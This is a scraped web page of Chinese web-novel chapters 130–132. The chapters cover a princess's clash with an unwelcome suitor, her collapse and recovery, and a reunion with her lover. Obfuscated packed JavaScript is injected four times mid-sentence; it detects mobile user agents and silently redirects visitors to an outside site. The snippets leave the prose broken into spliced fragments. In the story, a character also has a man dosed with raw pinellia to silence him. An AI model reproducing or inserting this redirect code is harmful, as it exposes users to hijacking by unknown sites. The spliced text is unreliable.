这倒是实情,于文则咳了两声掩饰尴尬,继续说道:“公主有所不知,此人乃是祁国崇宁王,先昭阳公主夫君,按理,公主还需称他一声姐夫。” 暖暖并不看他,轻笑一声:“你这人倒是喜欢攀亲论故的。” “我只是想提醒公主,公主不宜与此人走得太近。” “为什么?” “公主想想,您是梁国尊贵的公主,他是祁国手握重兵的皇叔,且不说陛下与成王殿下同不同意,就是这眼下这时局,你们也不能在一起。” 暖暖收回鱼竿,重新挂了些鱼饵,将鱼钩甩出去,看着鱼线上的鹅毛稳定后,才说道:“看来于公子不仅了解江湖事,朝政大事也很是了解呀!” “那是自然。”他凑近一些,压低了声音:“公主有所不知,季萧这一年来名义上是采买药材,实则是采购军需,咱大梁又要打仗了。” 暖暖不喜这样的距离,站起身来,继续看着鱼线上的鹅毛:“和谁?” “还能有谁。”于文则看了看左右无人,站到了公主身边,声音依旧很小:“自然是和祁国,重峪关一战打得不明不白,昭阳公主身死,陛下与成王殿下,乃至整个朝堂上下,心中一直憋着一口气。尤其是成王殿下,昭阳公主是他一手带大,所谓长兄如父……这仇,成王殿下是一定要报的。” “你看得倒是透彻。”暖暖看着鹅毛不动,换了只手持竿,继续等待。 “据说上次这崇宁王访梁,连先帝都未见到,成王殿下只见了他一面,就就人匆匆打发回去了,之后重峪关一战才有了定论。”于文则声音变得更轻:“他当时还私下见了陛下,当时的信王殿下。” “你说,崇宁王访梁?什么时候的事?” 于文则想了一下:“大概是在重峪关一战之后的腊月里,怎么,这么大事,公主不知道?” 暖暖摇摇头,回忆着那是什么时候的事,她一点消息也不知道,那一年她似乎是和姐姐一起在宣州,叶皓去看她们,和她一起在屋顶上喝了酒,叶皓还给她一封信,一封冷逸尘写给她的信,但却被她撕碎了。 这封信是不是就是那日冷逸尘给她看的那封? 回忆的深究令她有些不适,头脑隐隐作痛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769675|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于文则见她不语,继续说道:“公主不知道也是正常,那是公主刚刚被寻回,自然不知道其中之事的复杂。” 头疼令暖暖不能集中注意力,她缓缓说道:“你同我说这些做什么?” “在下是想让公主明白,此崇宁王并非良配,先前两国开战,祁囯敢斩杀昭阳公主祭旗,他们这样的事都做得出来,还有什么是不敢的?此后怕是还会有战争,公主实在不宜在此地久留。” 暖暖看着水面上鹅毛在水中上下浮动,却没有要收杆的意思。 她眉头微蹙,重峪关一战,若事实就是如此,那于文则分析的一点也没有错,如此看来,此人倒是有些才能。 但事实并非如此,三哥哥与四哥哥也不会这样打算,那么叶皓准备战争,会和谁呢?她不了解天下和朝局,她一时也想不明白。 “有鱼咬钩了,快收杆……”于文则伸手将鱼竿抬起来,鱼钩上的鱼饵已经被吃掉,却不见鱼的踪影。 他叹了口气:“唉!白等了这半日了。” “白高”!暖暖听见“白”字便想起来白高国,当年她来和亲,就是因为白高攻梁,祁囯援助。 她曾听叶皓提起过,白高人觊觎中原久已,强攻不成便行阴险手段,在梁、祁两国朝中挑拨离间,在江湖上支持招摇宗,引发剑宗大比伤人事件。 如此她便想明白了,叶皓要攻打白高为秦羽复仇,估计之后还要围剿招摇山,为长右山复仇。 这两件事,是叶皓走到今日这一步的支撑与动力,当年他说出“我要得到权利、坐上那个位置”时,大约就已计划好了如今的事。 这样想来,她觉得她篡改遗照是个正确的决定。 于文则当然不知道她想了这么多,以为她是将他的一番话听了进去,便说道:“公主聪慧,其中的道理,想必不需要我再多说了。” 暖暖回到于文则的话题上:“那你说我该如何是好呢?” 于文则挺了挺胸膛:“这世间有的是好男儿,公主不要被皮相所迷惑,大可将目光往别处看看,就比如眼前之人!” 暖暖看向他,眼神微微诧异:“你?” 她想不通,眼前之人为何还敢与她提及此事。 于文则端正地拱手为礼:“正是在下,在下愿尚公主,护公主一同归京。” 暖暖将目光重新放回鱼竿上说道:“于公子,上次是我拒绝得不够明显吗?” “此事是我的错,唐突了公主,一直想亲口向公主道歉,却没有机会,此番,向公主道歉,请求公主原谅。” 于文则说完又是一礼。 暖暖对此事一直是含垢忍辱、耿耿于怀,冷声说道:“你说得简单,那是唐突吗?那是冒犯!” “公主说是便是,那也是因我对公主一片痴心,为公主容貌才情所倾倒,故而情不自禁。” 暖暖觉得胸口有些发堵,“君子好色,发乎情,止乎礼”,原是他的行为不端,非君子所为,反倒将责任推给她,真是厚颜无耻之徒。 她面色阴沉:“如此说来,倒是我的错了!” “怎敢,怎敢……我对公主的心,日月可鉴,家父已将求亲的庚帖呈给了成王殿下,想来殿下还未与公主说此事吧!” 暖暖听完只觉想笑,看来还是她的意思不够明显,说道:“于公子,我再说一遍,我已心有所属,无意与你,天下好女子也多的是,请公子不要将痴心错付了,公子请回吧。” 于文则眼神带着些许得意,似乎胜券在握:“公主不要这样着急回绝了我,依公主现在的处境,又有几人敢求娶公主呢?” 130. 霜剑刺骨寒 暖暖不解,漫不经心地问道:“我什么处境?” “恕在下直言,其一,公主出身不明,虽入了族谱,可无真凭实据,终难服众。其二,我朝驸马不可参政。”于文则说着伸出两根手指晃动了一下。 “仅此两点,就劝退了多一半的世家子弟和青年才俊,那呈给陛下的求亲庚贴虽多,可其中不乏有不学无术、只求荫庇的纨绔弟子。我想正是因此,陛下才迟迟未将公主的婚事定下。其三……” 他说到此处,有些犹豫。 暖暖细听他所说,虽不是实情,却也有一定的道理,便想听听这其三是什么,不想他故弄玄虚,便问道:“其三是什么?” “这其三嘛……”于文则悄悄看了一眼公主,见她神色无甚变化,继续说道:“请公主再恕我直言,这其三便是宫中、坊间有传言,说公主与陛下……暧昧不清……” 于文则最后几个字,几乎如蚊音一般,却也一字不差地落到暖暖耳中。 “暧昧不清”,真是莫名其妙,一股幽怨之气自暖暖的下丹田而起,升至中丹田处盘旋,她深吸一口气将这股气压下去,但却觉得身体无力起来 她用一只手撑住栏杆,问道:“怎会有……这样的传言? “自然是有一些事情不合理,人们便开始胡乱猜测。比如,公主是如何认识陛下的?公主认祖归宗后,却为何一直居住在信王府?陛下继位后,又为何不设后宫,却给了公主无上荣耀?当然,这些传闻都是那些宫婢、中官传出,这些人久居深宫内苑,心中幽怨龌龊,饱食终日、无所用心,编排出这些话来消遣时光,我自然是不信的……所以在下是公主驸马的不二人选,在下也对公主是真心……” 听着于文则喋喋不休,暖暖头脑有些发胀,细想这两年来的经历,若放于别人身上,恐怕她也会有如此疑惑。 而她的身世也无法公之于众,此事也无法澄清。 这于文则似乎并不常在京中,这些传闻他都知晓,那京中不定传成什么样子,她割腕后出宫居住,叶皓派人监视,真的是在保护她,她所到之处必然有侍卫先探查过,故而她一点传闻也没有听到。 叶皓与叶均为了她,背后的付出远远超出她所知道的。 体内的那股幽怨之气越来越强烈,一股深深的无力感席卷全身,于文则的声音在她耳中越来越小,越来越远。 她神思不稳,那股气息行至胸口旧伤处,忽觉一阵刺痛,鲜血自口中喷涌而出。 “暖暖!!” 眼见她要坠下去,冷逸尘及时赶到,一把将她接住。 他抬头,用一双满是杀气的眼睛紧紧盯着于文则,带着愤怒的声音质问道:“你对她说了什么?” 于文则一脸懵然,随后慌张地解释:“没……没说什么,只是与公主叙叙旧。” “黎平,将他带下去,关起来!”冷逸尘说着抱起暖暖快步回到山庄。 泽生听见动静,也匆忙赶来,冷逸尘吩咐道:“将宋神农找来,快!” 泽生得令,亲自骑马前去。 冰绡见公主被那将军带回,嘴角还挂着血迹,神色变色凌厉起来,但见冷逸尘紧张的神情,也知不是他所为,立即疏散道路,吩咐院内人烧水备药,遣人去通知季萧。 冷逸尘将暖暖送至卧房,轻轻放到床上。 舒雁得知消息,快步进到屋里,走得太急,重重地摔在了地上,随后爬到了公主床边。 冰绡搭上公主的脉搏:“急火攻心,血不归经!公主受刺激了?” 冷逸尘:“不知于文则对她说了什么,之后便吐了一口血。” “又是这败类!他将公主害得还不够吗?咋就该杀了他!”冰绡眼中欲喷出火来,抽出匕首,咬着牙说道:“他在哪里?” “已经被关起来了,我自会处理。”冷逸尘现在只盼着宋神农快来。 约摸过了半个时辰,泽生扛着被捆了双手双脚的宋神农进来,季萧紧随其后。 泽生赶到时,宋神农刚刚与季萧谈好药材的价格,看着活计给药材过秤。 他心中焦急,不由分说地拉起宋神农要走,宋神农自是不愿,抱着一根柱子死活不松手:“天大的事,也要有个章法,上来就动手,成何体统。” “我家……”泽生竟一时不知该如何称呼叶岚,为保安全只好随着舒雁的称呼:“我家小姐,就是你上次看诊的那个小姐,忽然吐了一口血,快去看看。” “可是受到了刺激?” “是。”泽生回答,当时他虽不在场,但见侍卫出动,想必定是如此。 “她有内伤,内伤,懂不懂,伤口那么容易愈合,若按时服药、休息,不会复发,此番定是那小姐不听,如此我去了也没用。” “人现在昏迷不醒,快随我去看看。”泽生说着又要动手。 他心下焦急,只怕归去晚了一步,公主会出什么安危。 此慌张,在他的以前的人生里,似乎从未有过。 “不去!”宋神农紧紧抱着柱子,上次的阵仗他已见识过了,不愿再趟这趟浑水, 他看着季萧上前,以为也是来劝他,于是转过头去:“谁劝都……” “没用”两个字还没有说出口,便觉脖子上一痛,便失去了直觉。 泽生略带惊讶的眼神看向季萧,随后心中暗暗佩服道:杀伐果断,可成大事。 二人怕他途中醒来挣扎,便将手脚捆了,扔在马背上一路狂奔回来。 泽生边解开绳子边说道:“得罪神医了,只要能医好我家小姐的病,我便将这条命赔给神医。” “哼!我要你的命做什么?一不能换钱二不能延寿的!”宋神农说完掸了掸身上尘土,瞟了一眼床上之人。 床上之人还是那小姐,只不过比之前妆容精致、衣着考究,一看就是未好生休养,这与他想的一样。 他一搭脉,眉头微蹙,之后起身道:“没治了,准备后事吧!” 舒雁一听,心下凉了半截,拉着暖暖的衣袖抽泣不止。 冰绡握紧匕首,一会儿她便要用这匕首了结了那于文则的性命。 冷逸尘听完,一阵恐惧萦绕上心头,他全身发冷、手脚麻木,上前说道:“请神医再想想办法。” “我上次是怎么说的?卧床休养、按时服药,少思虑以养心气,寡色欲以养肾气,这些一点都没有做到,这病还怎么医治,我只是个郎中,又不是神仙!”说完双手背在身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779632|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈地叹了口气。 听闻此言,冷逸尘犹不敢相信自己的耳朵,一字一顿地问道:“神医的意思是……” “我啥意思?你听不懂?”宋神农打量着说话之人,不像是痴傻之人,怎么就听不出来话里的意思来,他换个直白的说法:“放心吧,人一会儿就醒。” 冷逸尘眉头紧锁,犹在担心,此番叶岚情况与之前所见、冰绡所述一样,会不会她醒来又会忘记一切。 宋神农似乎看穿了他的心思:“怎么,不相信我?”说着捡了座位坐下,说道:“端一盏茶来,茶喝完人就能醒了。” 绣衣使立即上了茶,宋神农端起茶盏,轻轻吹了吹浮沫,慢悠悠地喝了起来。 茶饮至半盏,暖暖咳了两下,口中涌出一股血来,舒雁赶紧用帕子去擦,血沾了她一手。 宋神农赶紧大口将茶盏中剩余的茶喝完,之后走到床前,看了一眼那血的颜色,放心下来。 “怎么样,我说一盏茶是时间就一盏茶的时间,人已无事了,可否送我回去了?” 冰绡已将他喝茶的动作看在眼里,这茶喝得说慢就慢说快就快,完全就是在故弄玄虚。 她心中对他翻了个白眼,冷声说道:“你连脉都没搭,怎知无事?” 宋神农乜斜她一眼,冷哼一声:“我看诊,从来不看第二次,要不是被你们逼着,我也不会坏了这个规矩。” 暖暖缓缓睁开眼睛,稍稍侧头,看了一圈周围,最后看向冷逸尘,手微微抬了一下。 冷逸尘眼中流露出欣喜,上前一步却又顿住,之后看了泽生一眼。 泽生立刻明白,对宋神农说道:“请神医随我来开方子。” “上次的药方即可,速速煎一副来服用。” 冰绡听到,立即去安排煎药之事。 “神医请……”泽生做了个请的动作,之后示意屋内人都出去,眼神最后看向床边,露出隐隐担忧。 舒雁最后一个出去,轻轻关上了门。 冷逸尘快步走到床前,握住了暖暖的手,轻唤了一声:“暖暖……” 暖暖没有力气,只轻轻捏了一下他的手,手被他握得更紧了一些。 “是我不好,不该将你独自留下。” 暖暖摇摇头,脑中依旧思绪纷杂,于文则说道那一番话,虽然不是事实,但其中的道理是没错的。 她与冷逸尘之后会如何?之后的战争会怎样?长右山的仇又该怎么报?还有世间的流言蜚语…… 虽然她知道语文真的话不可信,但是她还是觉得心中十分委屈,眼泪悄无声息地自眼角淌下,这一切,她好像对眼前之人诉说,可一时又不知从何说起。 冷逸尘一点点擦干她的泪水,她脸上的哀伤让他心像被针扎了一般。 她攒了一些力气,说道:“我好累,你能不能……不要走……我害怕……” “好,我不走……”冷逸尘在脚榻上,双手握紧她的手,放在嘴边吻着,静静地看着她。 她抬手抚上冷逸尘的眉眼,一个念头出现在脑中,若她放弃这公主的身份,是不是就不会再有这么多麻烦?是不是会让叶皓与叶均会轻松一些?是不是此后,便可以与眼前之人长相厮守了? 131. 善恶终有报 冷逸尘心中十分担忧与不安,他能猜到她与于文则之间有过往,会是怎样的过往?但他却不敢问她在想什么,只能用微笑来安慰她。 只是那微笑中隐隐带着苦涩。 敲门声响起,绣衣使送了药与吃食进来。 冷逸尘将燕窝粥一点点喂给她喝:“先吃些东西再喝药,不然胃又要不舒服……今日的鱼没办法吃了,改日我再钓一条更大的给你。” 暖暖点点头,一碗粥足足用两刻钟的时间才喝完,冷逸尘擦掉她唇上的残留,又将药端给她,带着些歉意:“今日我没准备蜜饯……” 暖暖借着冷逸尘的力气起身,之后靠在他身上,接过碗将药慢慢饮下,问道:“你将于文则如何了?” 冷逸尘心微微一颤,带着些恨意说道:“关起来了,此人真是心思歹毒,若你有个好歹,我定要凌迟了他。” “你不是这样的人,你没有这样的狠心……”暖暖没有再关心于文则,而是将头向他身上靠了靠。 这句话似乎说穿了冷逸尘的心,他将她揽得更紧些,他的确未想要了于文则的命。 暖暖继续说道:“泽生与我四哥都说过,你是一个心善之人,正是因为心善,所以才不会去伤害别人。” “那是以前了,人,都是会变的,暖暖,我已经……不是从前的冷逸尘了。” “不,你还是,什么都会变,但是你的眼神不会变,还是你我初见时那般。” “可我……父皇曾说过我‘心善不堪大任’,是我懦弱,保护不了我最爱、最亲的人。” “你若是狠戾的人,估计也不会和我哥哥成为朋友,或许我哥哥也想办法阻止我嫁给你。” “师兄他真的是这样说的?”冷逸尘还是有些相信,他的所作所为一定让师兄失望极了。 暖暖轻轻点头:“他虽然也怪过你,但是更多的是理解,还为你开脱,因为他知道你本性善良,不会做出害人之事。” “此生能与你兄妹二人相识相知,是我之幸。” 冷逸尘说到动容处,声音梗在喉咙里,眼中的泪不由得流下,他赶紧擦掉,不想让怀中之人看到,可一泪已砸进了她的脖颈中。 暖暖缩了一下脖子,摸了一下那滴泪,之后抚上他的脸说道:“这便是我们缘分,早已安排好,谁也拆不散。” 她缓了一下,说道:“于文则,交给我处理可好?” “好……你与他……”冷逸尘犹豫着开口,却又不敢再说下去。 暖暖见他心中仍不安心,故意咳了两声,吊起他的紧张。 果然他担心起来,问道:“不说了,是不是累了?先休息好不好?” 暖暖轻笑一下,但她并不想现在解释,眼下要处理于文则,便问道:“季萧和冰绡可在?让他们进来,我有话对他说。” “我去看看。”冷逸尘将她靠在床上,安顿好后才出去。 不多时季萧、冰绡进来跪拜:“属下向公主请罪。” 暖暖看向冰绡,见面色紫红,一看便是刚动过怒,便问道:“冰绡,你怎么了?” “属下刚打了于文则!”冰绡言语间尚有余怒。 “可严重?” “不重。”冰绡说的轻描淡写。 她口中的不重,大约是没死,暖暖心中叹息了一声,于文则虽有错,但也罪不至此。 她又看向冰绡身边的男子,一身布衣,下颌留有半寸长的胡须,发丝间沾满了尘土,若不是刚才听到过他的声音,她怎么也不会想到此人是季萧,细算来,她们已经有快一年的时间未见面了。 她问道:“季萧?你怎么这副样子?” “属下仪容不整,冒犯了公主。”季萧顿首:“是属下办事不利,请公主责罚。” “这不是你的错,都是机缘巧合才到了如今这状况,这一年来你在外面辛苦了,起来说话。” “属下职责所在,不敢言苦。”季萧叩首起身。 “我且问你,于文则为何会在这里?” “去年属下与他到益州郡后,此人不断惹事生非,还招惹了……当地土司的女儿,那土司非要招他入赘,他自是不愿,向京中请旨要求归京,陛下未允许,后又以母亲生病需要他侍疾为由,辞了职位归了家。至于他为何到了这里,属下不得而知。” 冰绡插言道:“他曾说是来此公干,所以属下未杀了他。” 殴打朝廷命官是重罪,若因为此人触犯了律法,实在是不值得,到时只怕还会牵连到公主,所以刚才冰绡下手的时候的确留有余地。 季萧立即否认:“不是公干,此时他应该在家侍疾。” 冰绡得知被骗,恨得牙齿痒痒,攥紧拳头,若得机会一定要再打他一顿。 暖暖点点头,想是他受不了益州的苦,又耐不住家中寂寞,便出来行走江湖了,此人,需给他点苦头尝尝,让他知道什么是江湖险恶。 她思忖了一会儿,说道:“季萧,让于文则入绣衣卫,跟着你进山收药。” “是,属下谨遵公主之令。” 暖暖又想了一下,说到:“可有那种让人一时说不出话来的药吗?给他服上一剂。” “回公主,服用生半夏,会有失声、呕吐、水泄的症状。”季萧未加思索,这一年来他识药辩药,已然成了行家。 “好,就给他服此药,让他少说些话。”处理完于文则,暖暖回到重点:“季萧,陛下最近可有旨意?你何时归京?” 季萧一时猜不出公主的意思,如实回答道:“尚且没有,就是上次崇宁王交给陛下的信,也尚未有回复。若陛下一直无旨意,属下大约会在立冬前离开……不知公主有何吩咐?” 这倒是让暖暖松了一口气,她还有时间养好身体,想想下一步该怎么办,想想该如何对她的哥哥和姐姐说那件事。 她没有回答季萧的问题,只叮嘱他要好生关照于文则,季萧心领神会,领命提人而去。 药劲上来,暖暖睡了过去,冰绡安排绣衣使值守后出了屋门,到了院子里正见一个背影要出院子去。 “任将军!”冰绡叫住那个背影,拱手为礼:“今日多谢将军!” 此前她见公主如此归来,知道了原因,便要去找于文则报仇,可她对这庄子不熟,未问出于文则关押在何处,泽生便为她指了路,又寻了个由头支走了守门的侍卫,她这才得以顺利将人打了。 “不必客气,我也是为了给公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788133|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主出气。”泽生说着也还了礼,不料一个荷包自袖中掉出,他忙捡起来,有些尴尬地说道:“若无事,在下还有军机要处理,告辞。” “喂,等等……” 冰绡此番叫住他,是想与他较量一下功夫,此前两次交手均未分出胜负,她一直心有不甘,不想此人却溜得极快,并未能将其唤回。 她转身却见舒雁从端着衣服走在廊下,用帕子擦拭着眼角,不由得心中叹了口气,舒雁怎么越来越小女子气了,自从离了宫,越发爱哭泣了,等公主身子好起来,要赶紧回家去才好。 她抬头看看空中的烈日,擦了擦额头的汗水,也进屋去了。 天气逐渐炎热起来,北方的夏日,常常是晴空万里,没有一丝云彩,忽而在傍晚风起云涌,瓢泼大雨猝然而至,可下不上一个时辰便又天晴了。 这宋神农果然是神医,连服了十日的药,暖暖的身子大有好转,就连那疼痛的头疾也未发作过。 这几日来,冰绡命绣衣卫加强了对院子的防守,闲杂人等连靠近都不允许。 冷逸尘端着一碗鱼羹,慢慢晾凉,向暖暖抱怨道:“你那侍卫着实是厉害,我每次来,眼神都像是要杀了我一般。” 暖暖轻笑:“她是太谨慎了,回头我说说她。” “我还不知道你,只会护着他们……来,尝尝,今日钓了两条鲫鱼,正好用来炖汤。”冷逸尘说着将勺子送到她嘴边。 “我自己来,这几日连床都不让我下,都赶上坐月子了。”暖暖说着,想起了夏萱生孩子时的情境,整整一个月都不出屋子,就像她如今这般。 这话却令冷逸尘心中一紧,将碗交到她手中,说道:“我去看看药煎好了没有。” 暖暖一笑:“自有人看着,不必你亲自去。” 冷逸尘并未回答,起身离开。 这倒是出乎暖暖的意料,这几日因服药的缘故,她总是困倦,但是只要是醒着的时候,便能见到他。 他对她的要求无有不应,连漱口擦手这些小事都要他帮忙,仔细想来,真是有点过分了。 冰绡端药进来,暖暖喝了一口便觉不对,问道:“换药了?” “按郎中的嘱托,去掉了两味药,可做平日温补之用。” 暖暖一听,忽觉心中轻松了许多,这是病好了的意思吗?她好想把这个消息告诉冷逸尘,却不见他进来,便问道:“崇宁王呢?” 冰绡回道:“侍卫来找过他,之后便出院子去了。” 她说着面上露出些许不满,这崇宁王有什么好的,竟把公主迷成这样,一刻都不想离开。 “哦……准备沐浴。”暖暖看着冰绡的表情,心中也嘲笑自己的不沉稳。 沐浴完,夜色已悄悄侵染天空,将白日的的热气压了下去,夜风中带着微微凉意,这关外的盛夏并没有真正来到。 暖暖借着消食的由头,独自走出院子,与府中都侍从问了书房的方向,便朝哪里走去。 依她的了解,他若不在她身边,那一定就在书房中。果然,书房的灯是亮着的,但其中却无人。 正想上前一探究竟,身后却披上一件披风来,她全神贯注,此举令她心中一惊,不由得身体一颤。 132. 流光相皎洁 暖暖转身:“吓我一跳。” “怎么鬼鬼祟祟的?也不差人通报一声。”冷逸尘将披风领口拉紧一些。 “没见到你,便想看看你在做什么……”暖暖的声音很小,以为打扰到他。 “有些急事要处理。”冷逸尘见她仍看看向书房的方向,解释道:“里面现在都是战报,杀伐之气太重,我送你回去?” “我想走走,整日关在屋子里太闷了。” “好,我们去花园。” “我自己就好,你这几日总是陪着我,耽误了不少正事吧。” “你才是正事……花园里的玉簪应该开了,以前咱们在榆关的时候,就栽了好多玉簪。”” “这些小事你还记得。” “当然,我还记得那昙花……等我,我去拿盏灯。” 暖暖抬头看着皓月当空,清辉如练,亮了烛光反倒夺了这月华之美,于是说道:不必,月下漫步,岂不美哉。” “正是如此……”冷逸尘牵起她的手,慢慢前行。 暖暖向他靠近一些,言语间带着些兴奋:“你知道吗?冰绡今日给我换药了,说是温补之药,你知道这意味着什么吗?” 冷逸尘一时跟不上她的话题,见她说道兴致勃勃,附和着问道:“意味着什么?” “傻瓜,我的头疾好了,以后再也不用受头痛的折磨了。这头疾虽不算什么大问题,但是发作起来就像头要胀开一样,难受得要命,喝了多少药都不管用,后来干脆就吃喝了。”暖暖说着在自己头上比划着,想告知他那是一种怎样的痛苦。 “不过在维扬时,每日就是玩乐,不想别的事,倒也没有发作……”暖暖说到这里又想起于文则来,若不是这个人,她本可以在那里好好地住下去。 她停了话,却发现身边之人也没有说话,今日他似乎沉默许多。 于是摇了摇他的胳膊:“怎么不说话?” “想听你说在维扬的事,想知道我不在你身边,你的生活是怎样的。”冷逸尘的声音微微低沉。 他现在的确有些心不在焉,还在想着书房中的事,近日边境不太平,匈奴人活动频繁,大有反攻之意。 现在只需要一个契机,挑起战争,给匈奴致命一击,他也可趁此实现自己的计划。 暖暖见他似有心事,忽而想到关于于文则的事,还欠他一个解释,于是说道:“你怎么了?是不是介意于文则?我与他之间什么也没有。” 冷逸尘不想她会提起此事,收回思绪,笑道:“我自然相信你们没什么,但是你这样着急澄清,可是心中有愧?” “你……不与你说了……”暖暖甩开他的手,快走了两步。 冷逸尘大步上前,从后面抱住她:“你的心是我的,我还会在乎他吗?” 暖暖羞涩扭头,前却看见她住的院子,说道:“有没有别的路,从那里过,绣衣使又要让我回去了。” 冷逸尘松开手,带她走了另一条路,调侃道:“你这个公主做得也是委屈,来见夫君还要偷偷摸摸的。” “夫君”二字令暖暖有些陌生,虽然他们从前成过亲,但想来却是恍然梦一场,千帆历尽重归来,再见一如初相识。 可世事不由己,身份已变,此时,她们已不再是夫妻。 暖暖有些落寞:“可我现在可是叶青,不是叶岚。” 冷逸尘脚下一顿,将她拉入怀中,在她唇上啄了一下:“你说什么?” “我现在是平阳公主!” 冷逸尘有些生气,她如此说,便是说他现在没有资格与她在一起,他搂住她的腰轻轻将她向上一提,威胁道:“你再说一遍试试!” “我……” 暖暖只说出一个字,温热柔软的唇便覆了上来。 这一吻霸道、热烈而又小心,当对方感觉到她的不适时,便又慢慢温柔下来。 一个深吻之后,冷逸尘睁开眼睛,看着她微微发红的唇,如一颗樱桃一般。 他眷恋这樱桃的甘甜,忍不住要再尝一尝。 暖暖欲躲开,却被他用手扣住了后脑勺,腰身也被他的手臂紧紧箍住,令她不能动弹。 浓浓的情|欲,在这溶溶夜色中隐隐弥漫。 正当她的心跳得厉害之时,对方缓缓停住,低头用额头抵住着她的额头,略带喘息地说道:“抱歉,是我……太想你了……” 暖暖双手环住他的腰,低语道:“上次……为什么拒绝我?” “因为,那时我不确定你是不是叶岚。” “现在呢?确定吗?” “确定,非常确定……”冷逸尘轻轻调整着呼吸,将她揽入怀中。 温热的气息掠过暖暖发红的耳垂,她喃喃地问道:“那现在,可不可以?” 冷逸尘虽然意动,却有意克制,抚着她背安慰道:“不可以,神医说你需寡色欲以养肾气。” 暖暖不由得笑了起来,这倒是个不错了借口。 而现在,也的确不是时候。 二人踏着月光,携手行至花园亭中,暖暖刚想落座,冷逸尘却拉起她坐到自己腿上:“石凳凉……” 这样轻浮,怎么可以! 但是暖暖却不想起来,索性放肆一会,将身体整个靠在他怀中,感受着他胸膛的温度和胸口心脏跳动的节奏。 关于她们的未来,暖暖想应该与他商量,于是说道:“这几日我想过了,我想和你在一起,就要放弃这公主的身份,但此事还需我哥哥同意……” “不可……”冷逸尘打断她,她已经为他付出太多了,他不能再让她受委屈。 “你听我说完,若我是公主,朝中不会允许你和我的事,但此事也不能现在去说。”暖暖将声音压低:“依于文则的意思,我四哥似乎在备战,我猜是想对白高开战,可能是为了报秦羽之仇和长右山之仇。” 这些让冷逸尘心情复杂起来,他未言,听她继续说下去:“四哥他现在身为帝王,真的是太孤独了,我想回去陪他一程。季萧说立冬之前会回去,到时我与他一起回去,等此事结束后,我便自请裁去公主封号,到燕北来找你。” “此事……我们还要好好考虑考虑,这不是我们两个人的事。”冷逸尘的回答有些迟疑。 “当然,这件事的困难在于如何说服三哥哥,我若贸然提出,只怕他和我姐姐不会同意,会伤了他们夫妻的心。” “若按你说的,等你做回凌长风,但这好像很难,你是祁囯皇叔,一郡统帅,哪里就能那么轻易地离开?而我现在在宗谱上只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798965|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个没有明目的遗腹子……你现在该想想,要如何娶一个没有身份的人做夫人。” 冷逸尘听着,心中很不是滋味,竟要她来想这么多事,一个“我……”字还未从他的喉咙中出来,就听见花丛后面传来一阵窸窸窣窣的声音。 这突如其来的声音惊得暖暖想站起身来,却被冷逸尘按住,二人相识一眼。 暖暖眼中满是担忧,二人如此行经,只怕会被人撞破。 冷逸尘眼中却是警觉,仔细听声音应是两个人,一前一后,脚步皆轻,恐是来者不善。 待听得舒雁是声音传来,二人才松了口气。 “把荷包还给我。” 她会给谁荷包?院内绣衣使皆是女子,而她与院外的侍卫不曾有过交集,暖暖带着疑惑竖起耳朵继续听着。 “送出去的东西哪有再收回的?” 这声音竟然是泽生的,暖暖再次震惊,她看向冷逸尘,却见他神色如常,并不惊讶。 她用眼神询问:你是不是早就知道? 冷逸尘无奈一笑,做了个噤声的手势,轻轻打横将她抱起,离开了亭子,走出花园。 待离远了,暖暖挣扎起来:“放我下来,你给我说清楚。” 冷逸尘不管,径直将她送回了住处,放到床上,笑道:“那日你醒来,泽生将你你那侍女抱出去,我便觉得不对劲,之后便审问了他,他只说二人两情相悦。” 暖暖并不相信:“定是泽生用了花言巧语哄骗了舒雁,他中意过的女子还少吗?长右山的,榆关的,还有师小将军,我知道的就有这些,还有我不知道的呢?” 冷逸尘不解地问道:“师小将军是谁?” “你不知道?看吧,泽生没有说实话。”暖暖叹了口气:“此事说来话长,还记得那年春天泽生重伤回燕北吗?当时他是去找我四哥了,与我四哥一起除掉了几个人,其中就有招摇宗的人,后来他被招摇宗追杀,是师小将军救了他。” 冷逸尘回忆起当年之事,原来其中有这么多隐情,而自那之后,泽生也的确是沉默了一段时间。 